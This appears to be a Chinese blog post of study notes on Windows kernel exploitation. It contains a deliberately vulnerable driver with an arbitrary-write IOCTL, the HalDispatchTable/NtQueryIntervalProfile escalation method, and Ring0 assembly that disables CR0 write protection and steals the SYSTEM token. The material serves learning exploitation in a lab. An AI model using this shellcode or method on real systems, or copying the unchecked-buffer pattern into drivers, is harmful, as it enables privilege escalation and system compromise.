目录
利用实验之exploitme.sys
当然要先搞个有漏洞的驱动,像缓冲区溢出这样就最好了
修改一下之前的helloworld.c
宏增加了
派遣例程函数肯定最重要的
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
驱动的卸载函数也增加了一点
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
我们看看这里

输入输出缓冲区都是Ring3指定的,存在任意地址写任意数据的内核漏洞
据说很多驱动最终都是归纳为上述exploitme.sys的漏洞模型
内核漏洞利用思路
首先远程和本地拒绝服务相对来说简单,不必那么过多考虑数据
远程任意代码执行和本地提升权限就复杂,
作者说远程任意代码执行很少见了,更多的是本地权限提升的内核漏洞
而且驱动编译器默认开启GS选项,直接利用缓冲区溢出困难重重
现在是想看到篡改系统内核内存数据,执行Ring0 shellcode的漏洞
那么篡改系统内核内存数据或执行Ring0 shellcode的漏洞是什么类型漏洞?
就是内存篡改漏洞

其中任意地址写任意数据必能造成权限提升,后两种利用得当也可以,真实越来越屌了
内核漏洞利用方法
篡改内核内存数据,执行Ring0 shellcode的漏洞
第一个利用方法是不推荐的
执行Ring0 shellcode可以将内存保护去掉,才可以篡改内存
执行Ring0 shellcode:可以覆盖内核API保存的表上的地址,一旦我们调用内核API函数,就调用了我们的shellcode了,还是Ring0的哦
但覆盖的函数要选用冷门的,不然其他进程调用的时候就内存访问错误或崩溃了
那我们的exploitme.sys可以任意地址写任意数据,我们就覆盖HalDispatchTable表中的第一个函数
将输出缓冲区地址指向它即可
对exploitme.sys的漏洞利用方法概括:
首先在当前进程(exploit.exe)的0x0地址处申请内存,并存放Ring0 Shellcode代码,然后利用漏洞将HalDispatchTable中的HalQuerySystemInformation函数地址改写为0,最后再调用该函数的上层封装函数NtQueryIntervalProfile,于是实现准备好的Ring0 Shellcode就会被执行
为什么上层函数是这个呢,我们看看源码,不过我们看的是ReactOS
ReactOS是开源免费的Windows NT系列(含NT4.0/2000/XP/2003)克隆操作系统,保持了与Windows的系统级兼容性。
我们看看NtQueryIntervalProfile

假如不知道这函数的实现是在哪,直接用notepad++搜索就行

发现ProfileSource不为ProfileTime或者ProfileAlignmentFixup就是我们想要的

内核漏洞利用实战与编程
之前的exploitme.sys由于ioControlCode的处理过程所使用的通信方式为METHOD_NEITHER
又没用ProbeForRead和ProbeForWrite判断输入和输出地址是否可读和是否可写,所以就是任意地址写任意数据的漏洞
那漏洞利用分为5步
1 获取HalDispatchTable表地址
它是由内核模块导出的,首先要得到内核模块的基址,再加上HalDispatchTable与内核模块的基址的偏移就行啦
2 在0x0申请一段内存并写入Ring0 Shellcode
3 利用漏洞向地址y写入0x0
4 调用NtQueryIntervalProfile函数
5 Ring0 Shellcode被执行
感觉这些都是差不多固定的代码啊,有点长,我也只是打了一点,就不粘贴上来了
大家都看书吧,多看多理解
不过我们看看最后Ring0 Shellcode
关闭内核写保护
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
CR0中含有控制处理器操作模式和状态的系统控制标志;
首先保存cr0,修改了cr0我们就可以为所欲为了
之后我们要恢复内核写保护
__asm
{
sti;
mov eax, g_uCr0;
mov cr0, eax;
}
Ring0 Shellcode的编写
提权到system
原来是修改进程的token就提权了
__asm
{
mov eax,0xFFDFF124;eax = KPCR(not 3G mode)
mov eax,[eax];获取当前线程PETHREAD
mov esi,[eax+0x220];获取当前线程所属进程的PEPROCESS
mov eax,esi;
searchXp:
mov eax,[eax+0x88];
sub eax,0x88;获取进程链表中下一个进程的PEPROCESS
mov edx,[eax+0x84];获取该进程的pid到edx
cmp edx,0x4;通过PID查找SYSTEM进程
jne searchXp;
mov eax,[eax+0xc8];获取system进程的token
mov [esi+0xc8],eax;修改当前进程的token
}

可能代码那里错了,蓝屏
恢复内核的Hook/Inline Hook
安全软件大部分都是通过这些实现防御的
恩,懒了
添加调用们,中断门,任务门,陷阱门
添加了其中一个就可以自由出入Ring0和Ring3了
一时难以消化,以后再消化了

